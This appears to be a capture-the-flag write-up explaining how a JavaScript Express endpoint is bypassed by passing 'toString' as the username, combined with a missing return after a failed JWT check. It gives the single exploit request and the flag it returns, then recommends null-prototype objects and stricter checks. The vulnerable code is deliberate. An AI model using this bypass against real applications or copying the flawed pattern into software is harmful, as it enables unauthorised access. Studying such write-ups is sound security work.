While this challenge was meant to have some more functionality, an unintended solution allowed solving it in a single request. Learn about JavaScript properties and why its weirdness can lead to exploitable behaviour in specific cases like these. Here is our task:

Get the right flag from the list of flags!

Source Code

Below is the source code of this challenge. There are a few different endpoints, but we'll only use /flag in this solution ;)

JavaScript

const app = express();
const secretKey = crypto.randomBytes(64);
const flags = {
    'Belgium': 'black yellow red',
    'United States': 'red white blue',
    'France': 'blue white red',
    'United Kingdom': 'red white blue',
    'Germany': 'black red gold',
    'FLAG': process.env.FLAG
};
const users = {'admin': {'APIKey': uuid.v1()}};

app.use('/forbidden', (req, res) => {
  res.status(403).send('Forbidden access');
});

app.get('/getAPIKey', (req, res) => {
    ...
});

app.get('/createAPIKey', (req, res) => {
    ...
});

app.get('/flag', (req, res) => {
    // Step 1: Get the flag data but protected by the API key, our flag data is very sensitive!
    let result = 'No result yet'
    if (users[req.query.username] && req.query.apikey === users[req.query.username]['APIKey']) {
        result = flags[req.query.flag];
    }

    // Step 2: Only send the result if the user is logged in
    const authHeader = req.headers.authorization || "No auth";
    const token = authHeader.split(' ')[1];
    jwt.verify(token, secretKey, (err) => {          
        // If the token is not valid
        if (err) {
            res.status(302);
            res.setHeader("Location", "/Forbidden")
        }
        // If the token is valid
        res.send(result) 
    });
});

app.use(express.json());
app.listen(3000);

In a request to /flag a few different query parameters are accessed. First, the ?username= parameter is used to index the users object, and if it exists, the ['APIKey'] property of this user is compared with your provided ?apikey= parameter. If these match, the flag requested in ?flag= from the flags object is stored in the result.

In step two the Authorization header is read and verified as a JWT. However, nowhere in the application is such a token generated, so we cannot provide a valid one. This function generates an error if the token is invalid and redirects us to /Forbidden.

Bypassing Authorization

If we look carefully at the code, we see that the if (err) { condition sets a Location header, but doesn't actually return! The res.send(result) expression afterwards is still called if an error occurred, so the statement "Only send the result if the user is logged in" in the comment is false. The result will always be returned in the body, only a Location header is added that will redirect the browser but we can ignore using a proxy like Burp Suite.

Abusing JavaScript properties

JavaScript

if (users[req.query.username] && req.query.apikey === users[req.query.username]['APIKey']) {
    result = flags[req.query.flag];
}

An interesting pattern to look out for in code is accessing JavaScript objects by user input. In this case, it is done to find the API key of the correct user, and you might think that 'admin' is the only property on this object. But if we take a closer look at any object in JavaScript, we can find a few more:

Shell

$ node
Welcome to Node.js v21.6.2.


> const users = {'admin': {'APIKey': "" } }

> users.[TAB][TAB]
users.__proto__   users.constructor   users.hasOwnProperty   users.isPrototypeOf   users.propertyIsEnumerable
users.toLocaleString   users.toString   users.valueOf   users.admin

By double-tapping the TAB key after a . on such an object we can find all its properties. Not only .admin is accessible, but also built-in functions like .toString can of course be accessed on the object. There is no difference in obj.prop or obj['prop'] syntax in JavaScript which means that if we set our username to "toString", the function will be our user object instead.

While this is an interesting edge case, what can we do now that our user is a function instead of an object with an APIKey? The next condition is comparing users[req.query.username]['APIKey'] with req.query.apikey. Our function object won't have a ['APIKey'] property, so will it error?

JavaScript

> users["toString"]['APIKey']
undefined

Nope! JavaScript just happily returns undefined. We can match this with our input by leaving the ?apikey= parameter empty, which will make it undefined as well. Now that these too are equal, we reach the result = flags[req.query.flag] where we can set ?flag=FLAG to get the flag environment variable and solve the challenge!

HTTP

GET /flag?username=toString&flag=FLAG HTTP/2
Host: event2-sensitive-flags.vercel.app

Response (note the Location header, but still a body containing the flag):

HTTP

HTTP/2 302 Found
Location: /Forbidden
Content-Length: 43

WIZER{M@Y_3V3NT_CH@LL3NG3_3V3RY0N3_@T_0NC3}

Mitigation

This login bypass involves JavaScript Object prototypes. Any object has a few functions defined in its prototype for ease of use, but these can be accessed if they are indexed by user input. While it is generally recommended to use a database for storing user data like this, if accessing an object with user input is required, one can disable its prototype so only real properties are accessible.
Object.create() can create an object with a null prototype, where properties like .toString will return undefined instead of the regular function:

JavaScript

const users = Object.create(null, {
    'admin': { 'APIKey': uuid.v1() }
});

console.log(users["toString"]);  // undefined

Another point that could help is adding as many sanity checks as possible to the code flow. If everything is in its expected state, always, nothing weird can happen. And as we've seen with JavaScript, weird things start to happen quickly:

JavaScript

const username = String(req.query.username || "");
const apikey = String(req.query.apikey || "");
const flag = String(req.query.flag || "");
if (username.length === 0 || apikey.length === 0 || flag.length === 0) {
    return res.json(`Missing parameters`);
}
const user = users[username];
if (!users.hasOwnProperty(username) || typeof user !== "object") {
    return res.json(`User not found`);
}
if (typeof user['APIKey'] === "string" && apikey === user['APIKey']) {
    if (flags.hasOwnProperty(flag) && typeof flags[flag] === "string") {
        result = flags[flag];
    } else {
        return res.json(`Flag not found`);
    }
} else {
    return res.json(`Invalid apikey`);
}